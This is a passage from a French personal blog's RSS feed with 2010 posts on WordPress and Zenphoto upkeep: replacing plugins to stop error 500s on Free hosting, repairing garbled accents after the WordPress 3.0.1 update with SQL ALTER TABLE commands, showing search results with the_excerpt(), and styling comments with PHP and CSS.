enfin&amp;hellip; s&amp;rsquo;ils le voulaient bien.&lt;/p&gt;&#xA;&lt;p&gt;Et ce n&amp;rsquo;était pas le seul : &lt;strong&gt;wp-spamFree&lt;/strong&gt; s&amp;rsquo;initialisait mal, et laissait passer des spams dans les commentaires de manière quasi quotidienne, m&amp;rsquo;obligeant à faire le ménage manuellement. Pour finir de dresser le tableau, j&amp;rsquo;avais aussi de nombreuses &lt;strong&gt;erreur 500&lt;/strong&gt; du serveur Free lors de la sauvegarde d&amp;rsquo;un article : même si l&amp;rsquo;article était bien sauvegardé, c&amp;rsquo;était plutôt ennuyeux.&lt;/p&gt;&#xA;&lt;p&gt;Bref, il était temps de faire quelque chose. C&amp;rsquo;était certainement lié aux serveurs Free, offrant des ressources gratuites certes, mais limitées.&lt;/p&gt;&#xA;&lt;h3 id=&#34;plugin-wp-dtree-30&#34;&gt;Plugin wp-dtree-30&#xA;&lt;/h3&gt;&lt;p&gt;Malgré de longues recherches, aucun autre plugin ne me satisfaisait comme celui-ci pour afficher les articles par date et par catégorie. Et puis voilà, ce week-end, j&amp;rsquo;ai vu qu&amp;rsquo;une nouvelle version était disponible, la v4.2.&lt;/p&gt;&#xA;&lt;p&gt;L&amp;rsquo;auteur explique qu&amp;rsquo;il a tout réécrit, en se basant sur la nouvelle API de Wordpress 3.x. Si les fonctionnalités restent à peu près les mêmes, cette version est beaucoup plus propre, plus robuste&amp;hellip; et comme par hasard, elle fonctionne parfaitement.&lt;/p&gt;&#xA;&lt;p&gt;Il faut toutefois modifier la page l_sidebar.php, puisque le nom des fonctions a changé : &lt;strong&gt;wpdt_list_archives()&lt;/strong&gt; et &lt;strong&gt;wpdt_list_categories()&lt;/strong&gt;. Vous remarquerez aussi que de belles petites icônes ont été ajoutées&amp;hellip;&lt;/p&gt;&#xA;&lt;h3 id=&#34;plugin-wp-spamfree&#34;&gt;Plugin wp-spamFree&#xA;&lt;/h3&gt;&lt;p&gt;Je l&amp;rsquo;ai finalement désactivé, et remplacé par celui fournit par défaut avec Wordpress, &lt;strong&gt;Akismet&lt;/strong&gt;. Ce dernier a bien évolué depuis l&amp;rsquo;époque où j&amp;rsquo;avais du installer wp-spamFree pour être correctement protégé. Je touche du bois, depuis la réactivation d&amp;rsquo;Akismet, plus de spams.&lt;/p&gt;&#xA;&lt;h3 id=&#34;erreur-500&#34;&gt;Erreur 500&#xA;&lt;/h3&gt;&lt;p&gt;Après ces deux changements, les erreurs 500 ont à priori disparues (c&amp;rsquo;est encore un peu tôt pour en être certain à 100%).&lt;/p&gt;&#xA;&lt;p&gt;L&amp;rsquo;erreur 500 est une erreur côté serveur : message générique, difficile de savoir vraiment d&amp;rsquo;où vient le problème, tout ce que l&amp;rsquo;on peut dire, c&amp;rsquo;est que quelque chose s&amp;rsquo;est mal passé ! Il y a beaucoup d&amp;rsquo;articles sur le web à ce propos concernant les serveurs de Free : elles peuvent être liées au fichier &lt;strong&gt;.htaccess&lt;/strong&gt;, mais ce n&amp;rsquo;était pas mon cas. Je pense que ces deux plugins me consommaient beaucoup de ressources mémoire, et celles-ci étant limitées par Free, cela générait toutes ces erreurs.&lt;/p&gt;&#xA;&lt;p&gt;Concernant le fichier .htaccess, assurez-vous qu&amp;rsquo;il comporte la ligne &amp;ldquo;php 1&amp;rdquo; comme indiqué sur cet &lt;a class=&#34;link&#34; href=&#34;http://wordpress-tuto.fr/erreur-500-free-interne-serveur-255&#34;  title=&#34;article sur erreur 500 chez Free&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;article&lt;/a&gt;. Si cela ne résout pas le problème, désactivez tous vos plugins&amp;hellip; et réactivez-les un par un, jusqu&amp;rsquo;à identifier celui qui pose problème. Ensuite, vérifiez si une version plus récente existe. Sinon, essayez d&amp;rsquo;en trouver un autre qui réponde à vos besoins.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Zenphoto 1.3.1.2</title>
            <link>https://pled.fr/zenphoto-1-3-1-2/</link>
            <pubDate>Sat, 02 Oct 2010 17:52:24 +0000</pubDate>
            <guid>https://pled.fr/zenphoto-1-3-1-2/</guid>
            <description>&lt;p&gt;Mise à jour de l&amp;rsquo;album Zenphoto en version 1.3.1.2.&lt;/p&gt;&#xA;&lt;p&gt;Cette fois tout se passe à peu près bien, en modifiant le fichier setup.php comme pour la version 1.2.8. Enfin, il a fallu modifier d&amp;rsquo;autres lignes, mais cela a été assez rapide. A toutes fins utiles, voilà &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2010/10/setup.zip&#34; &gt;le fichier&lt;/a&gt; que j&amp;rsquo;ai utilisé.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;en ai profité pour utiliser et adapter la dernière version du thème Zenpage, un peu plus joli (contraste, dégradé) :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ancienne version&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;245&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-1-3-1-2/zenpage-default.png&#34; width=&#34;245&#34;&gt;&lt;img alt=&#34;nouvelle version&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;245&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-1-3-1-2/zenpage.png&#34; width=&#34;245&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Et la navigation a maintenant de belles icônes :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;navigation&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;697px&#34; data-flex-grow=&#34;290&#34; height=&#34;84&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-1-3-1-2/zenpage-default1.png&#34; width=&#34;244&#34;&gt;&lt;img alt=&#34;navigation&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;700px&#34; data-flex-grow=&#34;291&#34; height=&#34;84&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-1-3-1-2/zenpage1.png&#34; width=&#34;245&#34;&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Mise à jour Wordpress 3.0.1 difficile</title>
            <link>https://pled.fr/mise-a-jour-wordpress-3-0-1-difficile/</link>
            <pubDate>Sat, 07 Aug 2010 16:35:51 +0000</pubDate>
            <guid>https://pled.fr/mise-a-jour-wordpress-3-0-1-difficile/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;wordpress&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;home_icon_wp.png#floatleft&#34;&gt; Dimanche dernier, je me suis décidé à installer la dernière version de Wordpress, la 3.0.1. Passage de version majeure, puisque l&amp;rsquo;on passe de la &lt;strong&gt;2&lt;/strong&gt;.x à la &lt;strong&gt;3&lt;/strong&gt;.x.&lt;/p&gt;&#xA;&lt;p&gt;Côté nouveautés, on peut citer notamment la fusion avec Wordpress MU (Multi-Utilisateurs) et donc la possibilité de gérer plusieurs sites avec une seule installation, une nouvelle gestion des menus (si le thème le supporte), l&amp;rsquo;amélioration de la taxonomie (classification plus fine) et enfin un nouveau thème par défaut exploitant toutes les nouvelles fonctionnalités.&lt;/p&gt;&#xA;&lt;p&gt;Bref peu de choses qui m&amp;rsquo;intéressent vraiment, tant que je garde mon thème actuel&amp;hellip; mais cela peut donner l&amp;rsquo;envie de partir d&amp;rsquo;un nouveau thème et de le personnaliser, probablement en utilisant les widgets, ce qui n&amp;rsquo;est pas le cas pour l&amp;rsquo;instant.&lt;/p&gt;&#xA;&lt;p&gt;Toujours est-il que la migration s&amp;rsquo;est plutôt mal passée. La phase de mise à jour en elle-même s&amp;rsquo;est bien passée, deux clics une fois les fichiers copiés&amp;hellip; la base de données est mise à jour&amp;hellip; et hop, retour au blog, oui mais :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tous les caractères accentués sont mal affichés (articles, titres, catégories, etc&amp;hellip;)&lt;/li&gt;&#xA;&lt;li&gt;Impossible d&amp;rsquo;afficher la page d&amp;rsquo;administration (page blanche)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;les-caractères-mal-affichés&#34;&gt;Les caractères mal affichés&#xA;&lt;/h3&gt;&lt;p&gt;Pour une raison inconnue, tous les tables de la base de données sont passées en « latin1_general_ci » au lieu de « utf8_general_ci ». Si pour certaines tables cela ne pose pas de problèmes (valeurs numériques, etc&amp;hellip;), il n&amp;rsquo;en est pas de même pour tout ce qui contient les beaux caractères accentués de la langue française, et donc : les articles, les commentaires, les noms de catégorie, etc&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Pour réparer ce type de problème, il faut modifier le type des tables en question, en les passant en format numérique d&amp;rsquo;abord, puis en les passant en utf-8, suivant ce principe :&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-clike&#34; data-lang=&#34;clike&#34;&gt;ALTER TABLE table1 CHANGE colonne1 colonne1 BLOB;&#xA;ALTER TABLE table1 CHANGE colonne1 colonne1 TEXT CHARACTER SET utf8;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Et donc pour les tables suivantes :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;wp_posts (les articles)&lt;/li&gt;&#xA;&lt;li&gt;wp_comments (les commentaires)&lt;/li&gt;&#xA;&lt;li&gt;wp_tags (les tags)&lt;/li&gt;&#xA;&lt;li&gt;et peut-être d&amp;rsquo;autres si vos plugins utilisent la base de données&amp;hellip;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;On exécute alors via l&amp;rsquo;interface de phpMyAdmin les commandes SQL suivantes :&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-clike&#34; data-lang=&#34;clike&#34;&gt;ALTER TABLE `wp_posts` CHANGE post_content post_content BLOB;&#xA;ALTER TABLE `wp_posts` CHANGE post_content post_content TEXT CHARACTER SET utf8;&#xA;ALTER TABLE `wp_posts` CHANGE post_title post_title BLOB;&#xA;ALTER TABLE `wp_posts` CHANGE post_title post_title TEXT CHARACTER SET utf8;&#xA;ALTER TABLE `wp_tags` CHANGE tag tag BLOB;&#xA;ALTER TABLE `wp_tags` CHANGE tag tag TEXT CHARACTER SET utf8;&#xA;ALTER TABLE `wp_comments` CHANGE comment_content comment_content BLOB;&#xA;ALTER TABLE `wp_comments` CHANGE comment_content comment_content TEXT CHARACTER SET utf8;&#xA;Les auteurs des commentaires peuvent aussi contenir des lettres accentuées :&#xA;ALTER TABLE `wp_comments` CHANGE comment_author comment_author BLOB;&#xA;ALTER TABLE `wp_comments` CHANGE comment_author comment_author TEXT CHARACTER SET utf8;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Concernant les catégories c’est la table &lt;strong&gt;wp_terms&lt;/strong&gt;, mais la commande SQL renvoie une erreur, il faut donc modifier le type des colonnes &lt;strong&gt;name&lt;/strong&gt; et &lt;strong&gt;slug&lt;/strong&gt; à la main (toujours via l&amp;rsquo;interface phpMyAdmin), puis ressaisir les catégories comportant des accents (heureusement, c&amp;rsquo;est assez rapide si l&amp;rsquo;on n&amp;rsquo;a pas trop de catégories comportant des accents).&lt;/p&gt;&#xA;&lt;p&gt;Une fois ceci fait, le blog était redevenu présentable.&lt;/p&gt;&#xA;&lt;h3 id=&#34;la-page-dadmininistration&#34;&gt;La page d&amp;rsquo;admininistration&#xA;&lt;/h3&gt;&lt;p&gt;Après une petite recherche sur le forum wordpress, tout indique que c&amp;rsquo;est généralement dû à un plugin. Et effectivement, en les désactivant tous, la page d&amp;rsquo;administration n&amp;rsquo;est plus blanche, mais m&amp;rsquo;indique :&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Vous n&amp;rsquo;avez pas les permissions nécessaires pour accéder à cette page.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;C&amp;rsquo;est dans les moments comme ça qu&amp;rsquo;il faut garder son calme ! :-(&lt;/p&gt;&#xA;&lt;p&gt;Là aussi recherche sur le net, et le problème vient toujours de la base de données : dans la table&lt;strong&gt;wp_options&lt;/strong&gt;, l&amp;rsquo;option &lt;strong&gt;user_roles&lt;/strong&gt; contenait des caractères mal encodés (dans &lt;strong&gt;option_value&lt;/strong&gt;). Dans la foulée, je l&amp;rsquo;ai également repassée en utf-8.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Revenons aux plugins&lt;/strong&gt; : c&amp;rsquo;était finalement l&amp;rsquo;occasion de faire un peu de ménage, c&amp;rsquo;est-à-dire supprimer ceux que je n&amp;rsquo;utilise plus, et aller chercher les dernières versions des autres.&lt;/p&gt;&#xA;&lt;p&gt;Le plus simple est alors de copier par FTP sur son pc le répertoire wp-content/plugins (histoire d&amp;rsquo;avoir une sauvegarde), puis recopier un par un ceux que l&amp;rsquo;on utilise, les activer, puis les mettre à jour si une nouvelle version est affichée disponible.&#xA;Mais là encore, ce ne fût pas simple : certains plugins ne sont plus compatibles, ainsi que certaines dernières versions&amp;hellip; de plus, l&amp;rsquo;ordre d&amp;rsquo;activation peut avoir un impact&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Ainsi, le plugin &lt;strong&gt;wp-stats&lt;/strong&gt; (v2.5) ne marche pas, et la dernière version du plugin &lt;strong&gt;WordPress.com Stats&lt;/strong&gt; (1.7.2) non plus (mais la 1.6 fonctionne). Quant au plugin &lt;strong&gt;wp-dtree&lt;/strong&gt;, il vaut mieux l&amp;rsquo;activer en premier&amp;hellip; Je ne suis d&amp;rsquo;ailleurs même pas sûr qu&amp;rsquo;il fonctionne vraiment, les derniers articles n&amp;rsquo;apparaissant pas. Et tout cela chez Free, car l&amp;rsquo;hébergeur peut également avoir une influence sur ces résultats.&lt;/p&gt;&#xA;&lt;p&gt;Bref une belle galère que cette mise à jour 3.0.1&amp;hellip;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Afficher les résultats de la recherche : the_excerpt()</title>
            <link>https://pled.fr/afficher-les-resultats-de-la-recherche-the_excerpt/</link>
            <pubDate>Sun, 25 Jul 2010 17:58:20 +0000</pubDate>
            <guid>https://pled.fr/afficher-les-resultats-de-la-recherche-the_excerpt/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;le nouveau résultat&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;excerpt.png#floatleft&#34;&gt; Je n&amp;rsquo;étais pas vraiment satisfait de la manière dont les résultats d&amp;rsquo;un recherche sur le blog étaient rendus : tous les articles concernés étaient listés mais affichés en entier, ce qui pouvait nécessiter plusieurs pages selon le nombre d&amp;rsquo;articles correspondants, et n&amp;rsquo;était pas vraiment pratique.&lt;/p&gt;&#xA;&lt;p&gt;En fait, Wordpress met à notre disposition deux fonctions : &lt;strong&gt;the_content()&lt;/strong&gt; ou&lt;strong&gt;the_excerpt()&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;La première affiche tout l&amp;rsquo;article sauf s&amp;rsquo;il y a un tag&lt;/p&gt;&#xA;&lt;p&gt;dans l&amp;rsquo;article, ce qui correspond au &amp;ldquo;Lire la suite&amp;rdquo;, et qui permet de n&amp;rsquo;afficher par défaut que le début de l&amp;rsquo;article. Mais je ne l&amp;rsquo;utilise que pour les articles très longs.&lt;/p&gt;&#xA;&lt;p&gt;La seconde ne va afficher que les 55 premiers caractères, sans images, et ajoute à la fin un [&amp;hellip;].&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai donc modifié le fichier &lt;strong&gt;search.php&lt;/strong&gt; de mon thème, en remplaçant dans la boucle principale la fonction &lt;strong&gt;the_content()&lt;/strong&gt; par&lt;strong&gt;the_excerpt()&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Voilà, c&amp;rsquo;est aussi simple que cela.&lt;/p&gt;&#xA;&lt;p&gt;La fonction the_excerpt() n&amp;rsquo;accepte pas de paramètres, on peut toutefois modifier le nombre de caractères renvoyés ainsi que le [&amp;hellip;] ajouté à la fin en déclarant de nouvelles fonctions dans le fichier functions.php du thème. Voir &lt;a class=&#34;link&#34; href=&#34;http://codex.wordpress.org/Template_Tags/the_excerpt&#34;  title=&#34;fonction the_excerpt sur wordpress&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;cette page&lt;/a&gt; pour le détail, en ce qui me concerne, j&amp;rsquo;ai laissé les valeurs par défaut.&lt;/p&gt;</description>
        </item><item>
            <title>Du style dans les commentaires</title>
            <link>https://pled.fr/du-style-dans-les-commentaires/</link>
            <pubDate>Sun, 04 Jul 2010 16:43:04 +0000</pubDate>
            <guid>https://pled.fr/du-style-dans-les-commentaires/</guid>
            <description>&lt;p&gt;Voilà longtemps que je voulais améliorer la façon dont les commentaires sont affichés sur le blog. Je m&amp;rsquo;étais contenté de ce qui était fourni pour le thème utilisé, modifiant simplement la police, les couleurs&amp;hellip; Bref, voilà ce que cela donnait :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;les anciens commentaires&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;276px&#34; data-flex-grow=&#34;115&#34; height=&#34;390&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/du-style-dans-les-commentaires/comment1.png&#34; width=&#34;450&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Après un peu de recherche sur le net pour voir ce qui se faisait, de modifications sur la feuille de style et le fichier comments.php (pour défnir les styles à utiliser et ajouter l&amp;rsquo;avatar), de retouche d&amp;rsquo;images avec Gimp, voilà ce que ça donne maintenant : c&amp;rsquo;est quand même plus joli, non ?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;les nouveaux commentaires&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;244px&#34; data-flex-grow=&#34;102&#34; height=&#34;441&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/du-style-dans-les-commentaires/comment2.png&#34; width=&#34;450&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;réalisation&#34;&gt;Réalisation&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;CSS 2 - Pratique du design web&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;196px&#34; data-flex-grow=&#34;81&#34; height=&#34;244&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/du-style-dans-les-commentaires/css2.png&#34; width=&#34;200&#34;&gt; Au départ, j&amp;rsquo;ai voulu copier-coller des styles tels que trouvés sur le web&amp;hellip; Mauvaise méthode (de fainéant) qui n&amp;rsquo;a donné aucun résultat probant. Il faut partir du thème existant, identifier les styles utilisés, et les modifier tranquillement.&lt;/p&gt;&#xA;&lt;p&gt;Pour ce faire, je me suis replongé dans le livre « CSS 2 - Pratique du Design web », que j&amp;rsquo;avais lu quand j&amp;rsquo;ai commencé à faire mon site. Un très bon livre pour s&amp;rsquo;initier et comprendre le CSS et les feuilles de style.&lt;/p&gt;&#xA;&lt;p&gt;Le cadre des commentaires est réalisé avec deux images de fond : j&amp;rsquo;ai récupéré des images sur un site, puis avec Gimp, les ai ajusté à mes besoins : largeur, hauteur, couleur, fond transparent.&#xA;Puis il faut définir deux blocs, l&amp;rsquo;un servant à afficher l&amp;rsquo;image du haut et un second pour l&amp;rsquo;image du bas. Cette dernière doit être d&amp;rsquo;une hauteur suffisante pour couvrir un long commentaire, car elle glissera pour accompagner le bloc du texte (je l&amp;rsquo;ai mis à 1500 pixels, ça devrait aller !).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;les deux blocs à définir&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;631px&#34; data-flex-grow=&#34;263&#34; height=&#34;171&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/du-style-dans-les-commentaires/bloc.png&#34; width=&#34;450&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Dans le fichier &lt;strong&gt;comments.php&lt;/strong&gt; de mon thème je vais ensuite modifier l&amp;rsquo;affichage des commentaires en appelant deux classes &amp;ldquo;top_comment&amp;rdquo; et &amp;ldquo;bloc_comment&amp;rdquo;, le second étant imbriqué dans le premier) :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;class&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;top_comment&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;class&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;bloc_comment&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;comment_text&lt;/span&gt;() &lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;?php if ($comment-&amp;gt;comment_approved == &amp;#39;0&amp;#39;) : ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Votre commentaire est en attente de modération.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;/div&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;/div&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Et voilà les deux classes définies dans le fichiers style.css :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-css&#34; data-lang=&#34;css&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;top_comment&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;padding-top&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;55&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;margin-top&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;background&lt;/span&gt;: url(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;images/top-comment.png&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;left&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;top&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;no-repeat&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;bloc_comment&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;padding-bottom&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;15&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;padding-top&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;background&lt;/span&gt;: url(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;images/bloc_comment.png&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;left&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;bottom&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;no-repeat&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Les valeurs de padding et de margin permettent d&amp;rsquo;ajuster l&amp;rsquo;affichage des images selon les besoins. Et voilà, le tour est joué !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Le retour de la bannière aléatoire</title>
            <link>https://pled.fr/le-retour-de-la-banniere-aleatoire/</link>
            <pubDate>Sat, 08 May 2010 16:57:00 +0000</pubDate>
            <guid>https://pled.fr/le-retour-de-la-banniere-aleatoire/</guid>
